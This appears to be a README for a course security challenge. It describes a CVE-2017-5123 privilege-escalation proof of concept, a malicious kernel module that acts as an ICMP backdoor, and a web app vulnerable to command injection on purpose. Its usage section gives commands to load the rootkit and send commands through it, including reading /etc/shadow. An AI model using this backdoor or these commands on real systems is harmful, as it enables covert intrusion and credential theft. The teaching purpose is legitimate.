
This repository contains a demonstration of CVE-2017-5123, an ICMP command-and-control backdoor, and a CWE-78 (OS Command Injection) vulnerable web app.
Part of CSC 4308 - Challenge 3.
This project demonstrates three distinct security research components:
lkm/rootkit.c)A proof-of-concept exploit for the waitid system call vulnerability introduced in Linux Kernel 4.13. This vulnerability allows privilege escalation and sandbox escape.
lkm/lkm.c)A malicious Linux Kernel Module (LKM) that implements a covert command-and-control channel via ICMP echo (ping) packets.
25678vulnerable-app/)A React + Node.js file-sharing application vulnerable to OS command injection.
pinger/data-ping.c)A utility to send crafted ICMP echo requests with custom payloads to communicate with the kernel rootkit backdoor.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Must run as root to use raw sockets
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Build the frontend
cd vulnerable-app/frontend
npm run build
# Copy build to backend
cp -r build ../backend/
# Start the backend server (serves both API and frontend)
cd ../backend
npm start
The application will be available at http://localhost:3001